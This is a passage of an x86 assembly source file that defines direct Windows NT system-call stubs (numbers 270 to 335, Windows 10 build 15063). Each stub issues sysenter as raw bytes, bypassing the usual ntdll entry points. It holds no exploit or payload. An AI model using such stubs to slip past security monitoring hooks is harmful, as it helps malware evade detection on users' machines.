; ULONG __stdcall NtListenPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtListenPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 270
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtListenPort ENDP
; ULONG __stdcall NtIsUILanguageComitted( );
_10_0_15063_sp0_windows_10_rs2_1703_NtIsUILanguageComitted PROC STDCALL
mov eax , 271
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtIsUILanguageComitted ENDP
; ULONG __stdcall NtIsSystemResumeAutomatic( );
_10_0_15063_sp0_windows_10_rs2_1703_NtIsSystemResumeAutomatic PROC STDCALL
mov eax , 272
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtIsSystemResumeAutomatic ENDP
; ULONG __stdcall NtIsProcessInJob( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtIsProcessInJob PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 273
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtIsProcessInJob ENDP
; ULONG __stdcall NtInitiatePowerAction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtInitiatePowerAction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 274
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtInitiatePowerAction ENDP
; ULONG __stdcall NtInitializeRegistry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeRegistry PROC STDCALL arg_01:DWORD
mov eax , 275
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeRegistry ENDP
; ULONG __stdcall NtInitializeNlsFiles( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeNlsFiles PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 276
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeNlsFiles ENDP
; ULONG __stdcall NtInitializeEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 277
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtInitializeEnclave ENDP
; ULONG __stdcall NtImpersonateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 278
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateThread ENDP
; ULONG __stdcall NtImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 279
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateClientOfPort ENDP
; ULONG __stdcall NtImpersonateAnonymousToken( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateAnonymousToken PROC STDCALL arg_01:DWORD
mov eax , 280
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtImpersonateAnonymousToken ENDP
; ULONG __stdcall NtGetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 281
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetWriteWatch ENDP
; ULONG __stdcall NtGetNotificationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNotificationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 282
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNotificationResourceManager ENDP
; ULONG __stdcall NtGetNlsSectionPtr( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNlsSectionPtr PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 283
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNlsSectionPtr ENDP
; ULONG __stdcall NtGetNextThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 284
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNextThread ENDP
; ULONG __stdcall NtGetNextProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNextProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 285
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetNextProcess ENDP
; ULONG __stdcall NtGetMUIRegistryInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetMUIRegistryInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 286
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetMUIRegistryInfo ENDP
; ULONG __stdcall NtGetDevicePowerState( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetDevicePowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 287
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetDevicePowerState ENDP
; ULONG __stdcall NtGetCurrentProcessorNumberEx( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCurrentProcessorNumberEx PROC STDCALL arg_01:DWORD
mov eax , 288
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCurrentProcessorNumberEx ENDP
; ULONG __stdcall NtGetCurrentProcessorNumber( );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCurrentProcessorNumber PROC STDCALL
mov eax , 289
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCurrentProcessorNumber ENDP
; ULONG __stdcall NtGetContextThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 290
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetContextThread ENDP
; ULONG __stdcall NtGetCompleteWnfStateSubscription( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCompleteWnfStateSubscription PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 291
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCompleteWnfStateSubscription ENDP
; ULONG __stdcall NtGetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 292
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtGetCachedSigningLevel ENDP
; ULONG __stdcall NtFsControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFsControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 293
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFsControlFile ENDP
; ULONG __stdcall NtFreezeTransactions( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFreezeTransactions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 294
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFreezeTransactions ENDP
; ULONG __stdcall NtFreezeRegistry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFreezeRegistry PROC STDCALL arg_01:DWORD
mov eax , 295
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFreezeRegistry ENDP
; ULONG __stdcall NtFreeVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFreeVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 296
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFreeVirtualMemory ENDP
; ULONG __stdcall NtFreeUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFreeUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 297
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFreeUserPhysicalPages ENDP
; ULONG __stdcall NtFlushWriteBuffer( );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushWriteBuffer PROC STDCALL
mov eax , 298
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushWriteBuffer ENDP
; ULONG __stdcall NtFlushVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 299
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushVirtualMemory ENDP
; ULONG __stdcall NtFlushProcessWriteBuffers( );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushProcessWriteBuffers PROC STDCALL
mov eax , 300
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushProcessWriteBuffers ENDP
; ULONG __stdcall NtFlushKey( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushKey PROC STDCALL arg_01:DWORD
mov eax , 301
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushKey ENDP
; ULONG __stdcall NtFlushInstructionCache( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushInstructionCache PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 302
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushInstructionCache ENDP
; ULONG __stdcall NtFlushInstallUILanguage( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushInstallUILanguage PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 303
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushInstallUILanguage ENDP
; ULONG __stdcall NtFlushBuffersFile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushBuffersFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 304
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushBuffersFile ENDP
; ULONG __stdcall NtFlushBuffersFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushBuffersFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 305
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFlushBuffersFileEx ENDP
; ULONG __stdcall NtFindAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFindAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 306
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFindAtom ENDP
; ULONG __stdcall NtFilterToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 307
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterToken ENDP
; ULONG __stdcall NtFilterTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 308
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterTokenEx ENDP
; ULONG __stdcall NtFilterBootOption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterBootOption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 309
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtFilterBootOption ENDP
; ULONG __stdcall NtExtendSection( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtExtendSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 310
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtExtendSection ENDP
; ULONG __stdcall NtEnumerateValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 311
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateValueKey ENDP
; ULONG __stdcall NtEnumerateTransactionObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateTransactionObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 312
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateTransactionObject ENDP
; ULONG __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateSystemEnvironmentValuesEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 313
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateSystemEnvironmentValuesEx ENDP
; ULONG __stdcall NtEnumerateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 314
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateKey ENDP
; ULONG __stdcall NtEnumerateDriverEntries( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateDriverEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 315
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateDriverEntries ENDP
; ULONG __stdcall NtEnumerateBootEntries( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateBootEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 316
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnumerateBootEntries ENDP
; ULONG __stdcall NtEnableLastKnownGood( );
_10_0_15063_sp0_windows_10_rs2_1703_NtEnableLastKnownGood PROC STDCALL
mov eax , 317
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtEnableLastKnownGood ENDP
; ULONG __stdcall NtDuplicateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDuplicateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 318
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDuplicateToken ENDP
; ULONG __stdcall NtDuplicateObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDuplicateObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 319
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDuplicateObject ENDP
; ULONG __stdcall NtDrawText( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDrawText PROC STDCALL arg_01:DWORD
mov eax , 320
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDrawText ENDP
; ULONG __stdcall NtDisplayString( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDisplayString PROC STDCALL arg_01:DWORD
mov eax , 321
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDisplayString ENDP
; ULONG __stdcall NtDisableLastKnownGood( );
_10_0_15063_sp0_windows_10_rs2_1703_NtDisableLastKnownGood PROC STDCALL
mov eax , 322
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDisableLastKnownGood ENDP
; ULONG __stdcall NtDeviceIoControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeviceIoControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 323
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeviceIoControlFile ENDP
; ULONG __stdcall NtDeleteWnfStateName( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteWnfStateName PROC STDCALL arg_01:DWORD
mov eax , 324
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteWnfStateName ENDP
; ULONG __stdcall NtDeleteWnfStateData( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 325
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteWnfStateData ENDP
; ULONG __stdcall NtDeleteValueKey( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 326
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteValueKey ENDP
; ULONG __stdcall NtDeletePrivateNamespace( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeletePrivateNamespace PROC STDCALL arg_01:DWORD
mov eax , 327
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeletePrivateNamespace ENDP
; ULONG __stdcall NtDeleteObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 328
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteObjectAuditAlarm ENDP
; ULONG __stdcall NtDeleteKey( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteKey PROC STDCALL arg_01:DWORD
mov eax , 329
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteKey ENDP
; ULONG __stdcall NtDeleteFile( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteFile PROC STDCALL arg_01:DWORD
mov eax , 330
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteFile ENDP
; ULONG __stdcall NtDeleteDriverEntry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 331
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteDriverEntry ENDP
; ULONG __stdcall NtDeleteBootEntry( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteBootEntry PROC STDCALL arg_01:DWORD
mov eax , 332
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteBootEntry ENDP
; ULONG __stdcall NtDeleteAtom( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteAtom PROC STDCALL arg_01:DWORD
mov eax , 333
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDeleteAtom ENDP
; ULONG __stdcall NtDelayExecution( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDelayExecution PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 334
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDelayExecution ENDP
; ULONG __stdcall NtDebugContinue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDebugContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 335
call _label_sysenter
ret 12
_label_sysenter:
